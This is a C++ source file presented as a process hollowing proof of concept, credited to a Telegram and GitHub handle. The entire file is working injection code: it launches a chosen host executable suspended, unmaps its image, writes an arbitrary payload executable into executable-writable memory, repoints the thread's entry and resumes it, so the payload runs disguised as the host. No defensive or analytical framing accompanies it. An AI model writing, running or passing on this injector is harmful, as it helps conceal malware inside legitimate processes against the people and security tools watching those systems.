Process-Hollowing.cpp

/**
 * Process Hollowing - POC
 * CR: Tg: @BatmanPriv | Github: github.com/batmanpriv
 */

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

#define COLOR_GREEN 10
#define COLOR_RED 12
#define COLOR_WHITE 15

void SetColor(int color) {
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, color);
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        printf("Usage: hollow.exe <host.exe> <payload.exe>\n");
        return 1;
    }

    // Create suspended process
    STARTUPINFOA si = {0};
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = {0};
    
    printf("[i] Creating suspended process: %s\n", argv[1]);
    if (!CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        SetColor(COLOR_RED);
        printf("[!] CreateProcess failed: %d\n", GetLastError());
        SetColor(COLOR_WHITE);
        return 1;
    }
    
    SetColor(COLOR_GREEN);
    printf("[+] Process created (PID: %d)\n", pi.dwProcessId);
    SetColor(COLOR_WHITE);

    // Read payload
    printf("[i] Reading payload: %s\n", argv[2]);
    HANDLE hFile = CreateFileA(argv[2], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        SetColor(COLOR_RED);
        printf("[!] Cannot open payload\n");
        SetColor(COLOR_WHITE);
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

    DWORD fileSize = GetFileSize(hFile, NULL);
    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    LPVOID payload = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    // Validate PE
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payload;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)payload + dos->e_lfanew);
    
    if (dos->e_magic != IMAGE_DOS_SIGNATURE || nt->Signature != IMAGE_NT_SIGNATURE) {
        SetColor(COLOR_RED);
        printf("[!] Invalid PE file\n");
        SetColor(COLOR_WHITE);
        UnmapViewOfFile(payload);
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }
    
    SetColor(COLOR_GREEN);
    printf("[+] Payload is valid PE (Size: %d bytes)\n", fileSize);
    SetColor(COLOR_WHITE);

    // Get Nt functions
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");

    // Get target base address
    PROCESS_BASIC_INFORMATION pbi = {0};
    ULONG returnLen = 0;
    NtQuery(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLen);
    
    LPVOID targetBase = 0;
#ifdef _WIN64
    PVOID pebAddr = (PVOID)((LPBYTE)pbi.PebBaseAddress + 0x10);
#else
    PVOID pebAddr = (PVOID)((LPBYTE)pbi.PebBaseAddress + 0x08);
#endif
    ReadProcessMemory(pi.hProcess, pebAddr, &targetBase, sizeof(LPVOID), NULL);
    
    SetColor(COLOR_GREEN);
    printf("[+] Target base: 0x%p\n", targetBase);
    SetColor(COLOR_WHITE);

    // Unmap target
    printf("[i] Unmapping target...\n");
    NtUnmap(pi.hProcess, targetBase);

    // Allocate memory
    printf("[i] Allocating memory...\n");
    LPVOID newBase = VirtualAllocEx(pi.hProcess, targetBase, nt->OptionalHeader.SizeOfImage, 
                                    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!newBase) {
        newBase = VirtualAllocEx(pi.hProcess, NULL, nt->OptionalHeader.SizeOfImage, 
                                 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
    
    SetColor(COLOR_GREEN);
    printf("[+] Allocated at: 0x%p\n", newBase);
    SetColor(COLOR_WHITE);

    // Write headers
    printf("[i] Writing headers...\n");
    WriteProcessMemory(pi.hProcess, newBase, payload, nt->OptionalHeader.SizeOfHeaders, NULL);

    // Write sections
    printf("[i] Writing sections...\n");
    PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)((LPBYTE)payload + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    for (DWORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (section[i].SizeOfRawData > 0) {
            WriteProcessMemory(pi.hProcess, 
                (LPVOID)((LPBYTE)newBase + section[i].VirtualAddress),
                (PVOID)((LPBYTE)payload + section[i].PointerToRawData),
                section[i].SizeOfRawData, NULL);
            
            char name[9] = {0};
            memcpy(name, section[i].Name, 8);
            SetColor(COLOR_GREEN);
            printf("  [+] %s (0x%X bytes)\n", name, section[i].SizeOfRawData);
            SetColor(COLOR_WHITE);
        }
    }

    // Set entry point
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    
    DWORD64 entry = (DWORD64)((LPBYTE)newBase + nt->OptionalHeader.AddressOfEntryPoint);
#ifdef _WIN64
    ctx.Rcx = entry;
#else
    ctx.Eax = (DWORD)entry;
#endif
    
    SetColor(COLOR_GREEN);
    printf("[+] Entry point: 0x%llX\n", entry);
    SetColor(COLOR_WHITE);

    SetThreadContext(pi.hThread, &ctx);
    
    // Resume
    printf("[i] Resuming thread...\n");
    ResumeThread(pi.hThread);

    UnmapViewOfFile(payload);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    SetColor(COLOR_GREEN);
    printf("[+] Done! Payload injected into %s (PID: %d)\n", argv[1], pi.dwProcessId);
    SetColor(COLOR_WHITE);

    return 0;
}